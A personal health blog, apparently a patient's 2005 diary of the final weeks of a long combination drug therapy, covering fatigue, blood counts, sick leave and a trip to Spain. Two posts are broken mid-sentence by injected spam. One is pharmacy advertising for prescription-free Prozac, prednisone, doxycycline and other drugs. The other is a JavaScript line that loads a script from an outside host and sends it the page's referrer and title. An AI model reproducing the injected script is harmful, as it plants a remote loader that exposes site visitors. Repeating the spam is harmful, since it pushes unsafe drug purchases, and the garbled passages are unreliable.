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Week 46 – Saturday

Saturday, September 24th, 2005

Greetings from Spain 🙂

We arrived late Wednesday evening – exhausted and over exhausted. So Thursday was about trying to catch up from being so tired. Couldn´t really muster up much enthusiasm – except for the walk to my favorite cafe for a ´cortado´and a Coracola ( “the snail” – my spanish Danish pastry, despite the off-putting name)

The sun came out yesterday afternoon so I spent a few hours in it – heaven soaking up the healing effects – feeling the sertatonin uptake improving, the vitamins coming my way.

Still feel very slow and reduced – but as I predicted, walking slowly along the road and having frequent rests makes me look like a tourist in Spain. Beginning to relax into it. Time to go back home now to sit by the pool some more. Well, that means I am tired again. But feeling happier and optimistic still. apr 30, 2011 – prozac without a perscription or. check estrace 0.01 % price comparisons before you buy estrace 0.01 % online. read verified estrace reviews from licensed canada pharmacies. buy prozac next day delivery prozac non perscription. no perscription needed prozac prozac order overnight s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Week 45 – Sunday: Hanging On

Sunday, September 18th, 2005

It’s been 10 days since I have written on this blog. Hard to believe it’s that long because it seems like yesterday I last wrote and particularly because time is passing very slowly at the moment for me. Having gone from ‘slow’ to ‘slower’ – and from ‘reduced’ to ‘further reduced’, I feel like I have almost reached ‘standstill’ now.

On Monday last, all I had to do that day was go to the hospital for blood tests. And that’s all I did. Exhausted when I came home, I crawled onto the bed for a rest – put the TV on but felt too tired to watch, so only listened !!??!! I was feeling nauseous, weak, achy, exhausted – but not sleepy. Then I began having fantasies about eating a McDonald’s hamburger and chips. I thought ‘that’s it, now I’m losing my mind along with everything else’. I haven’t eaten red meat for about three years – and a McDonald’s for about 10 years or more. To add to this bizarreness, when I told Carol, she said she had just heard from Phil that he wasn’t coming home for dinner as planned – and she had a steak going spare. So I had steak and chips, sitting up in bed! Very odd for me, but I suspect the body needed it and was calling out for it.

Tuesday and Wednesday, I managed to meet my counselling and work commitments by doing little else all day. Resting on the bed every couple of hours or so before going out working. By Wednesday evening, however, I was running on ‘adrenalin only’ by the time I came home at 10:30 pm.

So on Thursday I faced up to it and gave in – acknowledging how slowed up I feel and that I need to take time off work. So I called in sick for Thursday and Friday. This means I have had 4 sick days in total over the past year. Not a bad annual sickness record for any employee, albeit I only work 3 days per week. But a really good record for anyone on the 48 week combo therapy throughout this period of time – and with a bout of Bell’s Palsy on top of that. So, while I ‘gave in’ to calling in sick, I also consider it an achievement to have managed to work so consistently.

Over the past few days I have done very little, sometimes just sitting in a ‘zombie-like’ state watching it go on around me, when I’m not retreating to my bed to rest feeling light-headed. We have had our cousin’s 17 year old daughter with us for a few days stopover between New Zealand and returning home to Spain. The energy generated by her and Phil together is great but exhausting to keep up with.

Mynurse telephoned on Tuesday to say my Neutrophils had improved, returning to 1.1 (the level they were previously). People have consistently observed that I look very pale recently, but politely not commented that I also am looking haggard and worn, which is how I best prices for all customers! buy dapoxetine 60mg . free delivery, dapoxetine online anti-inflammatories forget about high prices ( prednisone :deltasone), prednisone sale dogs doxycycline monohydrate vs hydrochloride doxycycline hyclate nursing implications doxycycline without prescription buy prednisone ceftin bacterial coverage cheap ceftin buy prozac india buy fluoxetine hydrochloride buy prozac australia fluoxetine to buy online uk buy prozac online europe order prozac buy generic prozac dogs no prescription prednisone cost prednisone pharmacy. know I look.

Today I am feeling I can begin to face the list of preparations to go away. Not only is there the packing and household to sort out – so everything is ready for the friends coming to stay while we are away, but there are the other jobs too (the car needs new brake pads, letters need to be written and phone calls to make, etc).

I have a real sense of ‘hanging on’ over this last few weeks of treatment – which is what everyone says about this phase. I haven’t really the energy to look forward to going away but I am hoping that our plans to be in the sunshine and on holiday in the last two and half weeks of treatment is going to prove to be a good one.

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Post Treatment: Week 1 – Wednesday

Monday, September 12th, 2005

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Week 47 – Saturday

Thursday, September 8th, 2005

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Week 44 – Thursday: What A Relief

Thursday, September 8th, 2005

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During the discussion I discovered I had heard the wrong numbers last week when I rang MyNurse about my blood test results. Brain-fog again. My haemoglobin did drop from 11.9 but only to 11.1 (not 10.1 as I had thought). I was worried that a 1.8 drop (as I thought I had) over a five week period was a serious drop – and the beginning of a rapidly downward trend toward concerning levels.

I am reassured my haemoglobin levels are within what is expected at this last stage of the 48 week long haul – and there isn’t any concern at the moment about me flying. So I can achieve the objective of getting to Spain soon. And a few moments ago Mynurse rang to let me know my haemoglobins from yesterday’s tests are back to 11.8. What a relief.

She did add that my Neutrophils have dipped slightly and asked me to have another blood test next Monday; she is speculating that I am usually tested on a Monday (before the weekly injection) and this week I was tested on a Wednesday, two days post-injection, so that may have impacted on the results. So back next week for another Monday sample!

My consultant was very helpful and supportive around the issue of extending treatment and we discussed the pros and cons of a longer period on treatment.

Having reflected on that information, and weighed up what my body and heart are saying at this stage, I have made a considered decision to end this treatment at Week 48 as planned. I wanted to be sure I have done everything I can to support this treatment regime working because I am committed to clearing this virus – whatever it takes. However I think the cost to my body, to my life and to those around me of living on this treatment for a longer period of time would be greater than the small improved percentage chance of clearing this virus. I am still optimistic and feeling positive about the outcome I will achieve at the end of 48 weeks.

So I am now back to feeling tired but content. And optimistic and hopeful. From their demeanour, attitude and comments I can see that both my consultant and Mynurse view my current level of functioning as typical of the last few weeks of the long haul. I can expect to find everything, including work, tiring. And I need to focus on taking care of myself, getting to the end and recognising I am not 100% at the moment – and not expect myself to be.

That’s just made me laugh out loud – I haven’t been 100% for so long now I can’t quite remember what 100% means! However, I have adjusted and reduced my expectations on my everyday functioning so many times over the past weeks and months I have no doubt I can re-adjust again. So I guess I am saying I am not 100% of the very reduced level of functioning I was at last week.

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